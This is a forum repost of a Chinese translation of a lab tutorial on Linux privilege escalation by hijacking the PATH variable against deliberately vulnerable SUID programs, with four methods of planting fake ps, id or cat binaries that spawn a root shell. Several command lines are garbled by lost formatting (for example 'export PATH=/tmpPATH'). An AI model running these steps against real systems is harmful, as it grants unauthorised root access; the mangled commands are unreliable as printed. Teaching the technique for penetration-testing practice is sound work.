利用 PATH 环境变量进行 Linux 提权

[ 复制链接 ]
爱琴 | 2020-2-29 16:43:56 | 显示全部楼层 | 阅读模式 打印 上一主题 下一主题

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x

                译文声明
       
       
                本文是翻译文章,文章原作者,文章来源:http://www.hackingarticles.in/
原文地址:http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
       
       
       
                译文仅供参考,具体内容表达以及含义原文为准
       


       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                在解决了几个OSCP挑战之后,我们决定写一篇用各种方法进行Linux提权的的文章,这可能会对读者在进行渗透测试项目时有所帮助。在本文中,我们将学习各种操纵$ PATH变量的方法来获取远程主机的root访问权限,以及在CTF挑战中通过生成$PATH漏洞导致提权的技术。如果你已经解决了CTF对Post Exploit的挑战,那么通过阅读这篇文章,你将会意识到导致提权的一些漏洞。
       
       
                让我们开始吧!!
       
       
               
       
       
                介绍
       
       
                PATH是Linux和类Unix操作系统中的环境变量,它指定可执行程序的所有bin和sbin存储目录。当用户在终端上运行任何命令时,它会向shell发送请求以在PATH变量中搜索可执行文件来响应用户执行的命令。超级用户通常还可以使用/sbin和/usr/sbin以便于执行系统管理的命令。
       
       
                可以简单的使用echo命令查看用户的PATH。
       
echo $PATH
       
                /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
       
       
                如果你注意到’.’在环境PATH变量中,它表示登录的用户可以从当前目录执行二进制文件/脚本,并且它可以成为攻击者升级为root权限的绝佳技术。这是因为管理员在编写程序时缺乏注意,没有指定程序的完整路径。
       
       
               
       
       
                方法1
       
       
                Ubuntu LAB SET_UP
       
       
                目前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。现在在脚本目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。
       
pwd mkdir script cd /script
nano demo.c
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                正如你可以在我们的demo.c文件中看到的,我们正在调用ps命令,它是系统二进制文件。
       
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限。
       
ls gcc demo.c -o shell chmod u+s shell ls -la shell
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                渗透受害者的VM机器
       
       
                首先,你需要登陆到目标系统,然后进入提权阶段。假设您通过ssh成功登录到受害者的机器。然后在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件。
       
find / -perm -u=s -type f 2>/dev/null
       
                因此,借助上述命令,攻击者可以枚举任何可执行文件,这里我们还可以发现具有suid权限的/home/raj/script/shell。

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                然后我们进入/home/raj/script并看到一个可执行文件”shell”。所以我们运行这个文件,在这里它看起来像文件shell试图运行ps,这是一个真正的在/bin中的文件可以查看进程状态。
       
ls ./shell
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                echo 命令
       
cd /tmp echo "/bin/sh" > ps
chmod 777 ps echo $PATH export PATH=/tmpPATH cd /home/raj/script
./shell
whoami
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                copy 命令
       
cd /home/raj/script/
cp /bin/sh /tmp/ps echo $PATH export PATH=/tmpPATH ./shell
whoami
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                Symlink 命令
       
ln -s /bin/sh ps export PATH=.PATH ./shell
id
whoami
       
                注:symlink也称为符号链接,如果该目录具有完全权限,则它们将成功运行。在Ubuntu中,在符号链接的情况下,我们已将权限777授予/script目录。
       
       
                因此,我们看到攻击者可以操纵环境变量PATH来进行提权并获得root访问权限
       
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
       
       
                方法2
       
       
                Ubuntu LAB SET_UP
重复上述步骤配置您自己的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。
       
pwd mkdir script cd /script
nano demo.c
       
                正如你可以在我们的demo.c文件中看到的,我们正在调用id命令,它是系统二进制文件。

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限。
       
ls gcc demo.c -o shell2 chmod u+s shell2 ls -la shell2
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                渗透受害者的VM机器
       
       
                同样,您需要登陆目标系统,然后进入提权阶段。假设您通过ssh成功登录到受害者的机器。然后在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件。在这里,我们还可以发现具有suid权限的/home/raj/script/shell2。
       
find / -perm -u=s -type f 2>/dev/null
       
                然后我们进入/home/raj/script并看到一个可执行文件”shell2”。所以我们运行这个文件,它看起来像文件shell2试图运行id,这是一个真正的在/bin中的文件。
       
cd /home/raj/script
ls
./shell2
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                echo 命令
       
cd /tmp echo "/bin/sh" > id
chmod 777 id echo $PATH export PATH=/tmpPATH cd /home/raj/script
./shell2
whoami
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
       
       
                方法3
       
       
                Ubuntu LAB SET_UP
重复上述步骤设置您自己的实验环境,您可以在我们的demo.c文件中观察我们正在调用cat命令从etc/passwd文件中读取内容。

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限。
       
ls gcc demo.c -o raj chmod u+s raj ls -la raj
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                渗透受害者的VM机器
       
       
                再次登陆受害者的系统,然后进入提权阶段并执行以下命令查看sudo用户列表。
       
find / -perm -u=s -type f 2>/dev/null
       
                在这里,我们还可以发现/home/raj/script/raj具有suid权限,然后我们进入/home/raj /script并看到一个可执行文件”raj”。所以当我们运行这个文件时,它会把etc/passwd文件作为结果。
       
cd /home/raj/script/
ls
./raj
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
       
       
                Nano 编辑器
       
cd /tmp
nano cat
       
                现在在终端输入/bin/bash并保存。

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
chmod 777 cat
ls -al cat echo $PATH export PATH=/tmpPATH cd /home/raj/script
./raj
whoami
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
       
       
                方法4
       
       
                Ubuntu LAB SET_UP
重复上面的步骤来设置你自己的实验环境,你可以在我们的demo.c文件中看到我们正在调用cat命令来读取/home/raj中的msg.txt,但是/home/raj中没有这样的文件。

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                然后使用gcc编译demo.c文件,并将编译文件提升到SUID权限
       
ls gcc demo.c -o ignite chmod u+s ignite ls -la ignite
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                渗透受害者的VM机器
       
       
                再次登陆受害者的系统,然后进入提权阶段,并执行以下命令查看sudo用户列表。
       
find / -perm -u=s -type f 2>/dev/null
       
                在这里我们也可以发现/home/raj/script/ignite具有suid权限,然后我们进入/home/raj/script并看到一个可执行文件”ignite”。所以,当我们运行这个文件时,会产生一个”cat:/home/raj/msg.txt”的错误结果。
       
cd /home/raj/script
ls
./ignite
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
       
                Vi编辑器
       
cd /tmp
vi cat
       
                现在在终端输入/bin/bash并保存。

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权

       
chmod 777 cat
ls -al cat echo $PATH export PATH=/tmpPATH cd /home/raj/script
./ignite
whoami
       
               

利用 PATH 环境变量进行 Linux 提权

利用 PATH 环境变量进行 Linux 提权


作者: AArti Singh是黑客文章的研究人员和技术撰稿人 信息安全顾问社交媒体爱好者。在这里联系
       

       
                本文翻译自 http://www.hackingarticles.in/,原文链接。译者:
               
                        youyu岁月
               
       
温馨提示:
1、在论坛里发表的文章仅代表作者本人的观点,与本网站立场无关。
2、论坛的所有内容都不保证其准确性,有效性,时间性。阅读本站内容因误导等因素而造成的损失本站不承担连带责任。
3、当政府机关依照法定程序要求披露信息时,论坛均得免责。
4、若因线路及非本站所能控制范围的故障导致暂停服务期间造成的一切不便与损失,论坛不负任何责任。
5、注册会员通过任何手段和方法针对论坛进行破坏,我们有权对其行为作出处理。并保留进一步追究其责任的权利。
回复 推荐到N格

使用道具 举报

大神点评(1)

您需要登录后才可以回帖 登录 | 立即注册
    云凌阁
    额,虽然看不懂在说神马,不过还是支持云凌阁~@_@
    回复 支持 反对

    使用道具 举报

    相关推荐
    云凌阁

    关注0

    粉丝0

    帖子24

    发布主题